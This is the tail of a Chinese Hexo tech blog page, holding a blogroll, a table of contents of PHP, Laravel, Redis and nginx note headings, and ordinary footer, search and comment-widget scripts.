                    <a href="https://blog.jiaojie.site/" title="php" target="_blank">php</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://sphard.com/archives/" title="sphard" target="_blank">sphard</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://yuanxuxu.com/archives/" title="LNMP技术栈笔记" target="_blank">LNMP技术栈笔记</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://www.coding10.com/" title="学习 Laravel" target="_blank">学习 Laravel</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://shuwoom.com/?page_id=929" title="区块链学习指南" target="_blank">区块链学习指南</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://greenlightt.github.io/archives/" title="greenlightt" target="_blank">greenlightt</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.0php.net/archives/" title="0php" target="_blank">0php</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://www.fordba.com/category/mysql" title="mysql" target="_blank">mysql</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.itcodemonkey.com/" title="程序员" target="_blank">程序员</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.yanshuo.me/r/v2ex" title="言说" target="_blank">言说</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.timiguo.com/archive.html" title="提米果的博客" target="_blank">提米果的博客</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://phpartisan.cn/news/112.html" title="phpartisan" target="_blank">phpartisan</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.cnblogs.com/52fhy/" title="飞鸿影" target="_blank">飞鸿影</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://www.54php.cn/" title="54php" target="_blank">54php</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.lazyman.vip/" title="营销" target="_blank">营销</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.njphper.com/archives/" title="做人呢最重要的就是开心" target="_blank">做人呢最重要的就是开心</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.h57.pw/" title="php 初心者" target="_blank">php 初心者</a>
                  </li>
                
              </ul>
            </div>
          

          

        </div>
      </section>

      
      <!--noindex-->
        <section class="post-toc-wrap motion-element sidebar-panel sidebar-panel-active">
          <div class="post-toc">

            
              
            

            
              <div class="post-toc-content"><ol class="nav"><li class="nav-item nav-level-3"><a class="nav-link" href="#shell"><span class="nav-number">1.</span> <span class="nav-text">shell</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#redis批量删除key"><span class="nav-number">2.</span> <span class="nav-text">redis批量删除key</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#centos7安装redis3-2"><span class="nav-number">3.</span> <span class="nav-text">centos7安装redis3.2</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#firewall"><span class="nav-number">4.</span> <span class="nav-text">firewall</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#nginx反向代理解决跨域问题"><span class="nav-number">5.</span> <span class="nav-text">nginx反向代理解决跨域问题</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#数据结构算法"><span class="nav-number">6.</span> <span class="nav-text">数据结构算法</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#PHP-攻击短信验证码"><span class="nav-number">7.</span> <span class="nav-text">PHP 攻击短信验证码</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#get-object-vars"><span class="nav-number">8.</span> <span class="nav-text">get_object_vars</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#进制转换"><span class="nav-number">9.</span> <span class="nav-text">进制转换</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#计算当前时间最近的-5-或-10-分钟"><span class="nav-number">10.</span> <span class="nav-text">计算当前时间最近的 5 或 10 分钟</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#基于-swoole-协程的-MySQL-连接池"><span class="nav-number">11.</span> <span class="nav-text">基于 swoole 协程的 MySQL 连接池</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#laravel-事件指定队列"><span class="nav-number">12.</span> <span class="nav-text">laravel 事件指定队列</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#记录guzzle"><span class="nav-number">13.</span> <span class="nav-text">记录guzzle</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#记录Redis"><span class="nav-number">14.</span> <span class="nav-text">记录Redis</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#监控redis对应队列消息"><span class="nav-number">15.</span> <span class="nav-text">监控redis对应队列消息</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#使用写库读数据"><span class="nav-number">16.</span> <span class="nav-text">使用写库读数据</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#Excel-导出"><span class="nav-number">17.</span> <span class="nav-text">Excel 导出</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#使用Guzzle进行API测试"><span class="nav-number">18.</span> <span class="nav-text">使用Guzzle进行API测试</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#guzzle并发"><span class="nav-number">19.</span> <span class="nav-text">guzzle并发</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#ab-登录"><span class="nav-number">20.</span> <span class="nav-text">ab 登录</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#查看16进制"><span class="nav-number">21.</span> <span class="nav-text">查看16进制</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#消息队列"><span class="nav-number">22.</span> <span class="nav-text">消息队列</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#将一组数字组合出一个最大值"><span class="nav-number">23.</span> <span class="nav-text">将一组数字组合出一个最大值</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#Nginx-部署-MySQL-负载均衡"><span class="nav-number">24.</span> <span class="nav-text">Nginx 部署 MySQL 负载均衡</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#php-artisan"><span class="nav-number">25.</span> <span class="nav-text">php artisan</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#Laravel-Eloquent-提示和技巧"><span class="nav-number">26.</span> <span class="nav-text">Laravel Eloquent 提示和技巧</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#判断图片"><span class="nav-number">27.</span> <span class="nav-text">判断图片</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#位运算"><span class="nav-number">28.</span> <span class="nav-text">位运算</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#CURL-发送文件"><span class="nav-number">29.</span> <span class="nav-text">CURL 发送文件</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#验证图片安全"><span class="nav-number">30.</span> <span class="nav-text">验证图片安全</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#shell-1"><span class="nav-number">31.</span> <span class="nav-text">shell</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#守护进程"><span class="nav-number">32.</span> <span class="nav-text">守护进程</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#laravel获取记录的原始属性"><span class="nav-number">33.</span> <span class="nav-text">laravel获取记录的原始属性</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#获取重复值"><span class="nav-number">34.</span> <span class="nav-text">获取重复值</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#表限制"><span class="nav-number">35.</span> <span class="nav-text">表限制</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#带索引检查计算数组的差集"><span class="nav-number">36.</span> <span class="nav-text">带索引检查计算数组的差集</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#过滤xss"><span class="nav-number">37.</span> <span class="nav-text">过滤xss</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#laravel事件队列"><span class="nav-number">38.</span> <span class="nav-text">laravel事件队列</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#guzzle上传图片"><span class="nav-number">39.</span> <span class="nav-text">guzzle上传图片</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#guzzle"><span class="nav-number">40.</span> <span class="nav-text">guzzle</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#基于-GD-库生成圆形头像"><span class="nav-number">41.</span> <span class="nav-text">基于 GD 库生成圆形头像</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#Laravel-分组获取最新记录"><span class="nav-number">42.</span> <span class="nav-text">Laravel 分组获取最新记录</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#打包exe"><span class="nav-number">43.</span> <span class="nav-text">打包exe</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#laravel读主"><span class="nav-number">44.</span> <span class="nav-text">laravel读主</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#PHP使用Memcached存储Session"><span class="nav-number">45.</span> <span class="nav-text">PHP使用Memcached存储Session</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#单元测试"><span class="nav-number">46.</span> <span class="nav-text">单元测试</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#lumen-事务"><span class="nav-number">47.</span> <span class="nav-text">lumen 事务</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#lumen-sql"><span class="nav-number">48.</span> <span class="nav-text">lumen sql</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#xml2array"><span class="nav-number">49.</span> <span class="nav-text">xml2array</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#导出Excel"><span class="nav-number">50.</span> <span class="nav-text">导出Excel</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#Lumen-使用-throttle-限制接口访问频率"><span class="nav-number">51.</span> <span class="nav-text">Lumen 使用 throttle 限制接口访问频率</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#db有多个连接"><span class="nav-number">52.</span> <span class="nav-text">db有多个连接</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#闭包基本用法"><span class="nav-number">53.</span> <span class="nav-text">闭包基本用法</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#nginx-配置文件"><span class="nav-number">54.</span> <span class="nav-text">nginx 配置文件</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#try-catch"><span class="nav-number">55.</span> <span class="nav-text">try catch</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#忽略-include-的输出"><span class="nav-number">56.</span> <span class="nav-text">忽略 include 的输出</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#中间件"><span class="nav-number">57.</span> <span class="nav-text">中间件</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#php数组函数"><span class="nav-number">58.</span> <span class="nav-text">php数组函数</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#浮点数精确度"><span class="nav-number">59.</span> <span class="nav-text">浮点数精确度</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#windows换行符转换"><span class="nav-number">60.</span> <span class="nav-text">windows换行符转换</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#控制字符检测"><span class="nav-number">61.</span> <span class="nav-text">控制字符检测</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#匿名函数"><span class="nav-number">62.</span> <span class="nav-text">匿名函数</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#Laravel-辅助函数"><span class="nav-number">63.</span> <span class="nav-text">Laravel 辅助函数</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#go结构体自定义排序"><span class="nav-number">64.</span> <span class="nav-text">go结构体自定义排序</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#api签名"><span class="nav-number">65.</span> <span class="nav-text">api签名</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#PHP数组扁平化"><span class="nav-number">66.</span> <span class="nav-text">PHP数组扁平化</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#ffmpeg"><span class="nav-number">67.</span> <span class="nav-text">ffmpeg</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#1752年9月2日的后面竟然是14日"><span class="nav-number">68.</span> <span class="nav-text">1752年9月2日的后面竟然是14日</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#批量转换文件编码"><span class="nav-number">69.</span> <span class="nav-text">批量转换文件编码</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#crontab-任务误删恢复"><span class="nav-number">70.</span> <span class="nav-text">crontab 任务误删恢复</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#php-yield"><span class="nav-number">71.</span> <span class="nav-text">php yield</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#Redis技巧-Sorted-Set使用"><span class="nav-number">72.</span> <span class="nav-text">Redis技巧:Sorted Set使用</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#字符串算术表达式计算"><span class="nav-number">73.</span> <span class="nav-text">字符串算术表达式计算</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#jwt-用户身份认证"><span class="nav-number">74.</span> <span class="nav-text">jwt 用户身份认证</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#PHP-读取超大文件"><span class="nav-number">75.</span> <span class="nav-text">PHP 读取超大文件</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#下载超大数据量的Excel文件"><span class="nav-number">76.</span> <span class="nav-text">下载超大数据量的Excel文件</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#判断一个图像的类型"><span class="nav-number">77.</span> <span class="nav-text">判断一个图像的类型</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#给定任意数，计算是2的几次方"><span class="nav-number">78.</span> <span class="nav-text">给定任意数，计算是2的几次方</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#CURL-发送文件-1"><span class="nav-number">79.</span> <span class="nav-text">CURL 发送文件</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#流的方法导出-Excel"><span class="nav-number">80.</span> <span class="nav-text">流的方法导出 Excel</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#laravel-orm"><span class="nav-number">81.</span> <span class="nav-text">laravel orm</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#curl时设置Expect"><span class="nav-number">82.</span> <span class="nav-text">curl时设置Expect</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#身份证的编码规则"><span class="nav-number">83.</span> <span class="nav-text">身份证的编码规则</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#定时脚本"><span class="nav-number">84.</span> <span class="nav-text">定时脚本</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#PHP文件锁机制"><span class="nav-number">85.</span> <span class="nav-text">PHP文件锁机制</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#关闭错误日志"><span class="nav-number">86.</span> <span class="nav-text">关闭错误日志</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#php实现多进程"><span class="nav-number">87.</span> <span class="nav-text">php实现多进程</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#反射机制实现"><span class="nav-number">88.</span> <span class="nav-text">反射机制实现</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#cron"><span class="nav-number">89.</span> <span class="nav-text">cron</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#分割数组"><span class="nav-number">90.</span> <span class="nav-text">分割数组</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#json-encode-如何转化一个对象"><span class="nav-number">91.</span> <span class="nav-text">json_encode()如何转化一个对象</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#断点续传"><span class="nav-number">92.</span> <span class="nav-text">断点续传</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#字节处理函数pack-unpack"><span class="nav-number">93.</span> <span class="nav-text">字节处理函数pack unpack</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#文件yield"><span class="nav-number">94.</span> <span class="nav-text">文件yield</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#队列"><span class="nav-number">95.</span> <span class="nav-text">队列</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#PhpSpreadsheet-实现读取写入-Execl"><span class="nav-number">96.</span> <span class="nav-text">PhpSpreadsheet 实现读取写入 Execl</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#重试机制"><span class="nav-number">97.</span> <span class="nav-text">重试机制</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#laravel-first-更新不成功"><span class="nav-number">98.</span> <span class="nav-text">laravel first 更新不成功</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#Laravel-关联查询限制条数"><span class="nav-number">99.</span> <span class="nav-text">Laravel 关联查询限制条数</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#laravel-MassAssignmentException"><span class="nav-number">100.</span> <span class="nav-text">laravel MassAssignmentException</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#1234567890-转换成-1-234-567-890"><span class="nav-number">101.</span> <span class="nav-text">1234567890 转换成 1,234,567,890</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#curl-cookie"><span class="nav-number">102.</span> <span class="nav-text">curl cookie</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#创建-Zip-压缩文件并提供下载"><span class="nav-number">103.</span> <span class="nav-text">创建 Zip 压缩文件并提供下载</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#php-email"><span class="nav-number">104.</span> <span class="nav-text">php email</span></a></li></ol></div>
            

          </div>
        </section>
      <!--/noindex-->
      

      

    </div>
  </aside>


        
      </div>
    </main>

    <footer id="footer" class="footer">
      <div class="footer-inner">
        <script async src="https://dn-lbstatics.qbox.me/busuanzi/2.3/busuanzi.pure.mini.js"></script>

<div class="copyright">&copy; <span itemprop="copyrightYear">2021</span>
  <span class="with-love">
    <i class="fa fa-user"></i>
  </span>
  <span class="author" itemprop="copyrightHolder">苏生不惑</span>

  
</div>


  <div class="powered-by">由 <a class="theme-link" target="_blank" href="https://hexo.io">Hexo</a> 强力驱动</div>



  <span class="post-meta-divider">|</span>



  <div class="theme-info">主题 &mdash; <a class="theme-link" target="_blank" href="https://github.com/iissnan/hexo-theme-next">NexT.Gemini</a> v5.1.4</div>



<div>
<span id="showDays"></span>

</div>

<span id="busuanzi_container_site_pv">
   总访问量:<span id="busuanzi_value_site_pv"></span>次
</span>



  <span class="post-meta-divider">|</span>



<div class="theme-info">
  <div class="powered-by"></div>
  <span class="post-count">博客全站共773.8k字</span>
</div>
<script>
var birthDay = new Date("11/20/2018");
var now = new Date();
var duration = now.getTime() - birthDay.getTime();
var total= Math.floor(duration / (1000 * 60 * 60 * 24));
document.getElementById("showDays").innerHTML = "本站已运行 "+total+" 天";
</script>

        
<div class="busuanzi-count">
  <script async src="https://dn-lbstatics.qbox.me/busuanzi/2.3/busuanzi.pure.mini.js"></script>

  
    <span class="site-uv">
      <i class="fa fa-user"></i>
      <span class="busuanzi-value" id="busuanzi_value_site_uv"></span>
      人次
    </span>
  

  
    <span class="site-pv">
      <i class="fa fa-eye"></i>
      <span class="busuanzi-value" id="busuanzi_value_site_pv"></span>
      次
    </span>
  
</div>








        
      </div>
    </footer>

    
      <div class="back-to-top">
        <i class="fa fa-arrow-up"></i>
        
      </div>
    

    

  </div>

  

<script type="text/javascript">
  if (Object.prototype.toString.call(window.Promise) !== '[object Function]') {
    window.Promise = null;
  }
</script>









  


  











  
  
    <script type="text/javascript" src="/lib/jquery/index.js?v=2.1.3"></script>
  

  
  
    <script type="text/javascript" src="/lib/fastclick/lib/fastclick.min.js?v=1.0.6"></script>
  

  
  
    <script type="text/javascript" src="/lib/jquery_lazyload/jquery.lazyload.js?v=1.9.7"></script>
  

  
  
    <script type="text/javascript" src="/lib/velocity/velocity.min.js?v=1.2.1"></script>
  

  
  
    <script type="text/javascript" src="/lib/velocity/velocity.ui.min.js?v=1.2.1"></script>
  

  
  
    <script type="text/javascript" src="/lib/fancybox/source/jquery.fancybox.pack.js?v=2.1.5"></script>
  

  
  
    <script type="text/javascript" src="/lib/canvas-nest/canvas-nest.min.js"></script>
  


  


  <script type="text/javascript" src="/js/src/utils.js?v=5.1.4"></script>

  <script type="text/javascript" src="/js/src/motion.js?v=5.1.4"></script>



  
  


  <script type="text/javascript" src="/js/src/affix.js?v=5.1.4"></script>

  <script type="text/javascript" src="/js/src/schemes/pisces.js?v=5.1.4"></script>



  
  <script type="text/javascript" src="/js/src/scrollspy.js?v=5.1.4"></script>
<script type="text/javascript" src="/js/src/post-details.js?v=5.1.4"></script>



  


  <script type="text/javascript" src="/js/src/bootstrap.js?v=5.1.4"></script>



  


  




	





  





  











<script type="text/javascript">
    (function() {
        // 匿名函数，防止污染全局变量
        var utterances = document.createElement('script');
        utterances.type = 'text/javascript';
        utterances.async = true;
        utterances.setAttribute('issue-term','0')
        utterances.setAttribute('theme','')
        utterances.setAttribute('repo','sushengbuhuo/laravel_ioc_demo')
        utterances.crossorigin = 'anonymous';
        utterances.src = 'https://utteranc.es/client.js';
        // content 是要插入评论的地方
        document.getElementById('gitment-container').appendChild(utterances);
    })();
</script>


  

  <script type="text/javascript">
    // Popup Window;
    var isfetched = false;
    var isXml = true;
    // Search DB path;
    var search_path = "search.xml";
    if (search_path.length === 0) {
      search_path = "search.xml";
    } else if (/json$/i.test(search_path)) {
      isXml = false;
    }
    var path = "/" + search_path;
    // monitor main search box;

    var onPopupClose = function (e) {
      $('.popup').hide();
      $('#local-search-input').val('');
      $('.search-result-list').remove();
      $('#no-result').remove();
      $(".local-search-pop-overlay").remove();
      $('body').css('overflow', '');
    }

    function proceedsearch() {
      $("body")
        .append('<div class="search-popup-overlay local-search-pop-overlay"></div>')
        .css('overflow', 'hidden');
      $('.search-popup-overlay').click(onPopupClose);
      $('.popup').toggle();
      var $localSearchInput = $('#local-search-input');
      $localSearchInput.attr("autocapitalize", "none");
      $localSearchInput.attr("autocorrect", "off");
      $localSearchInput.focus();
    }

    // search function;
    var searchFunc = function(path, search_id, content_id) {
      'use strict';

      // start loading animation
      $("body")
        .append('<div class="search-popup-overlay local-search-pop-overlay">' +
          '<div id="search-loading-icon">' +
          '<i class="fa fa-spinner fa-pulse fa-5x fa-fw"></i>' +
          '</div>' +
          '</div>')
        .css('overflow', 'hidden');
      $("#search-loading-icon").css('margin', '20% auto 0 auto').css('text-align', 'center');

      $.ajax({
        url: path,
        dataType: isXml ? "xml" : "json",
        async: true,
        success: function(res) {
          // get the contents from search data
          isfetched = true;
          $('.popup').detach().appendTo('.header-inner');
          var datas = isXml ? $("entry", res).map(function() {
            return {
              title: $("title", this).text(),
              content: $("content",this).text(),
              url: $("url" , this).text()
            };
          }).get() : res;
          var input = document.getElementById(search_id);
          var resultContent = document.getElementById(content_id);
          var inputEventFunction = function() {
            var searchText = input.value.trim().toLowerCase();
            var keywords = searchText.split(/[\s\-]+/);
            if (keywords.length > 1) {
              keywords.push(searchText);
            }
            var resultItems = [];
            if (searchText.length > 0) {
              // perform local searching
              datas.forEach(function(data) {
                var isMatch = false;
                var hitCount = 0;
                var searchTextCount = 0;
                var title = data.title.trim();
                var titleInLowerCase = title.toLowerCase();
                var content = data.content.trim().replace(/<[^>]+>/g,"");
                var contentInLowerCase = content.toLowerCase();
                var articleUrl = decodeURIComponent(data.url);
                var indexOfTitle = [];
                var indexOfContent = [];
                // only match articles with not empty titles
                if(title != '') {
                  keywords.forEach(function(keyword) {
                    function getIndexByWord(word, text, caseSensitive) {
                      var wordLen = word.length;
                      if (wordLen === 0) {
                        return [];
                      }
                      var startPosition = 0, position = [], index = [];
                      if (!caseSensitive) {
                        text = text.toLowerCase();
                        word = word.toLowerCase();
                      }
                      while ((position = text.indexOf(word, startPosition)) > -1) {
                        index.push({position: position, word: word});
                        startPosition = position + wordLen;
                      }
                      return index;
                    }

                    indexOfTitle = indexOfTitle.concat(getIndexByWord(keyword, titleInLowerCase, false));
                    indexOfContent = indexOfContent.concat(getIndexByWord(keyword, contentInLowerCase, false));
                  });
                  if (indexOfTitle.length > 0 || indexOfContent.length > 0) {
                    isMatch = true;
                    hitCount = indexOfTitle.length + indexOfContent.length;
                  }
                }

                // show search results

                if (isMatch) {
                  // sort index by position of keyword

                  [indexOfTitle, indexOfContent].forEach(function (index) {
                    index.sort(function (itemLeft, itemRight) {
                      if (itemRight.position !== itemLeft.position) {
                        return itemRight.position - itemLeft.position;
                      } else {
                        return itemLeft.word.length - itemRight.word.length;
                      }
                    });
                  });

                  // merge hits into slices

                  function mergeIntoSlice(text, start, end, index) {
                    var item = index[index.length - 1];
                    var position = item.position;
                    var word = item.word;
                    var hits = [];
                    var searchTextCountInSlice = 0;
                    while (position + word.length <= end && index.length != 0) {
                      if (word === searchText) {
                        searchTextCountInSlice++;
                      }
                      hits.push({position: position, length: word.length});
                      var wordEnd = position + word.length;

                      // move to next position of hit

                      index.pop();
                      while (index.length != 0) {
                        item = index[index.length - 1];
                        position = item.position;
                        word = item.word;
                        if (wordEnd > position) {
                          index.pop();
                        } else {
                          break;
                        }
                      }
                    }
                    searchTextCount += searchTextCountInSlice;
                    return {
                      hits: hits,
                      start: start,
                      end: end,
                      searchTextCount: searchTextCountInSlice
                    };
                  }

                  var slicesOfTitle = [];
                  if (indexOfTitle.length != 0) {
                    slicesOfTitle.push(mergeIntoSlice(title, 0, title.length, indexOfTitle));
                  }

                  var slicesOfContent = [];
                  while (indexOfContent.length != 0) {
                    var item = indexOfContent[indexOfContent.length - 1];
                    var position = item.position;
                    var word = item.word;
                    // cut out 100 characters
                    var start = position - 20;
                    var end = position + 80;
                    if(start < 0){
                      start = 0;
                    }
                    if (end < position + word.length) {
                      end = position + word.length;
                    }
                    if(end > content.length){
                      end = content.length;
                    }
                    slicesOfContent.push(mergeIntoSlice(content, start, end, indexOfContent));
                  }

                  // sort slices in content by search text's count and hits' count

                  slicesOfContent.sort(function (sliceLeft, sliceRight) {
                    if (sliceLeft.searchTextCount !== sliceRight.searchTextCount) {
                      return sliceRight.searchTextCount - sliceLeft.searchTextCount;
                    } else if (sliceLeft.hits.length !== sliceRight.hits.length) {
                      return sliceRight.hits.length - sliceLeft.hits.length;
                    } else {
                      return sliceLeft.start - sliceRight.start;
                    }
                  });

                  // select top N slices in content

                  var upperBound = parseInt('1');
                  if (upperBound >= 0) {
                    slicesOfContent = slicesOfContent.slice(0, upperBound);
                  }

                  // highlight title and content

                  function highlightKeyword(text, slice) {
                    var result = '';
                    var prevEnd = slice.start;
                    slice.hits.forEach(function (hit) {
                      result += text.substring(prevEnd, hit.position);
                      var end = hit.position + hit.length;
                      result += '<b class="search-keyword">' + text.substring(hit.position, end) + '</b>';
                      prevEnd = end;
                    });
                    result += text.substring(prevEnd, slice.end);
                    return result;
                  }

                  var resultItem = '';

                  if (slicesOfTitle.length != 0) {
                    resultItem += "<li><a href='" + articleUrl + "' class='search-result-title'>" + highlightKeyword(title, slicesOfTitle[0]) + "</a>";
                  } else {
                    resultItem += "<li><a href='" + articleUrl + "' class='search-result-title'>" + title + "</a>";
                  }

                  slicesOfContent.forEach(function (slice) {
                    resultItem += "<a href='" + articleUrl + "'>" +
                      "<p class=\"search-result\">" + highlightKeyword(content, slice) +
                      "...</p>" + "</a>";
                  });

                  resultItem += "</li>";
                  resultItems.push({
                    item: resultItem,
                    searchTextCount: searchTextCount,
                    hitCount: hitCount,
                    id: resultItems.length
                  });
                }
              })
            };
            if (keywords.length === 1 && keywords[0] === "") {
              resultContent.innerHTML = '<div id="no-result"><i class="fa fa-search fa-5x" /></div>'
            } else if (resultItems.length === 0) {
              resultContent.innerHTML = '<div id="no-result"><i class="fa fa-frown-o fa-5x" /></div>'
            } else {
              resultItems.sort(function (resultLeft, resultRight) {
                if (resultLeft.searchTextCount !== resultRight.searchTextCount) {
                  return resultRight.searchTextCount - resultLeft.searchTextCount;
                } else if (resultLeft.hitCount !== resultRight.hitCount) {
                  return resultRight.hitCount - resultLeft.hitCount;
                } else {
                  return resultRight.id - resultLeft.id;
                }
              });
              var searchResultList = '<ul class=\"search-result-list\">';
              resultItems.forEach(function (result) {
                searchResultList += result.item;
              })
              searchResultList += "</ul>";
              resultContent.innerHTML = searchResultList;
            }
          }

          if ('auto' === 'auto') {
            input.addEventListener('input', inputEventFunction);
          } else {
            $('.search-icon').click(inputEventFunction);
            input.addEventListener('keypress', function (event) {
              if (event.keyCode === 13) {
                inputEventFunction();
              }
            });
          }

          // remove loading animation
          $(".local-search-pop-overlay").remove();
          $('body').css('overflow', '');

          proceedsearch();
        }
      });
    }

    // handle and trigger popup window;
    $('.popup-trigger').click(function(e) {
      e.stopPropagation();
      if (isfetched === false) {
        searchFunc(path, 'local-search-input', 'local-search-result');
      } else {
        proceedsearch();
      };
    });

    $('.popup-btn-close').click(onPopupClose);
    $('.popup').click(function(e){
      e.stopPropagation();
    });
    $(document).on('keyup', function (event) {
      var shouldDismissSearchPopup = event.which === 27 &&
        $('.search-popup').is(':visible');
      if (shouldDismissSearchPopup) {
        onPopupClose();
      }
    });
  </script>





  

  

  

  
  

  

  

  

  
<script>
  ((window.gitter = {}).chat = {}).options = {
    //room替换成自己的聊天室名称即可，room的名称规则是：username/roomname
    room: 'sushengbuhuo-chat/mychat'
  };
</script>
<script src="https://sidecar.gitter.im/dist/sidecar.v1.js" async defer></script>

</body>
</html>
